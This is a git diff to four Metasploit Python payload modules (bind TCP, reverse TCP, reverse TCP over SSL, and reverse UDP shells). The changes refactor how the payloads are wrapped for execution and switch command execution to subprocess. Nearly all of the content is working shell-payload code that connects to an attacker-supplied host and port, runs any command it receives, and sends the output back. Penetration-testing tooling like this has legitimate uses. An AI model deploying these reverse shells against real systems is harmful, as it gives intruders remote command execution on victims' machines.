diff --git a/modules/payloads/singles/python/shell_bind_tcp.rb b/modules/payloads/singles/python/shell_bind_tcp.rb index ce0f184759..fbc36e2ee6 100644 --- a/modules/payloads/singles/python/shell_bind_tcp.rb +++ b/modules/payloads/singles/python/shell_bind_tcp.rb @@ -8,6 +8,7 @@ module MetasploitModule CachedSize = 381 include Msf::Payload::Single + include Msf::Payload::Python include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -49,8 +50,6 @@ module MetasploitModule cmd << "\tstdout_value=stdout.read()+stderr.read()\n" cmd << "\tso.send(stdout_value)\n" - # base64 - cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - cmd + py_create_exec_stub(cmd) end end diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index 52021ff73c..c7925c2401 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -12,6 +12,7 @@ module MetasploitModule CachedSize = 401 include Msf::Payload::Single + include Msf::Payload::Python include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -45,9 +46,9 @@ module MetasploitModule # def command_string cmd = '' - dead = Rex::Text.rand_text_alpha(2) + dead = Rex::Text.rand_text_alpha(3) # Set up the socket - cmd << "import socket,os\n" + cmd << "import socket,subprocess\n" cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" # The actual IO @@ -55,14 +56,11 @@ module MetasploitModule cmd << "while not #{dead}:\n" cmd << "\tdata=so.recv(1024)\n" cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" - cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" - cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" + cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n" cmd << "\tso.send(stdout_value)\n" - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - - cmd + py_create_exec_stub(cmd) end end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 1d0725fd5f..528501e61e 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -12,6 +12,7 @@ module MetasploitModule CachedSize = 561 include Msf::Payload::Single + include Msf::Payload::Python include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -60,10 +61,7 @@ module MetasploitModule cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.sendall(stdout_value)\n" - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - - cmd + py_create_exec_stub(cmd) end end diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb index 064300053b..3b3ff3d682 100644 --- a/modules/payloads/singles/python/shell_reverse_udp.rb +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -12,6 +12,7 @@ module MetasploitModule CachedSize = 397 include Msf::Payload::Single + include Msf::Payload::Python include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -47,7 +48,7 @@ module MetasploitModule cmd = '' dead = Rex::Text.rand_text_alpha(2) # Set up the socket - cmd << "import socket,os\n" + cmd << "import socket,subprocess\n" cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n" cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" # The actual IO @@ -55,14 +56,11 @@ module MetasploitModule cmd << "while not #{dead}:\n" cmd << "\tdata=so.recv(1024)\n" cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" - cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" - cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" + cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n" cmd << "\tso.send(stdout_value)\n" - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - - cmd + py_create_exec_stub(cmd) end end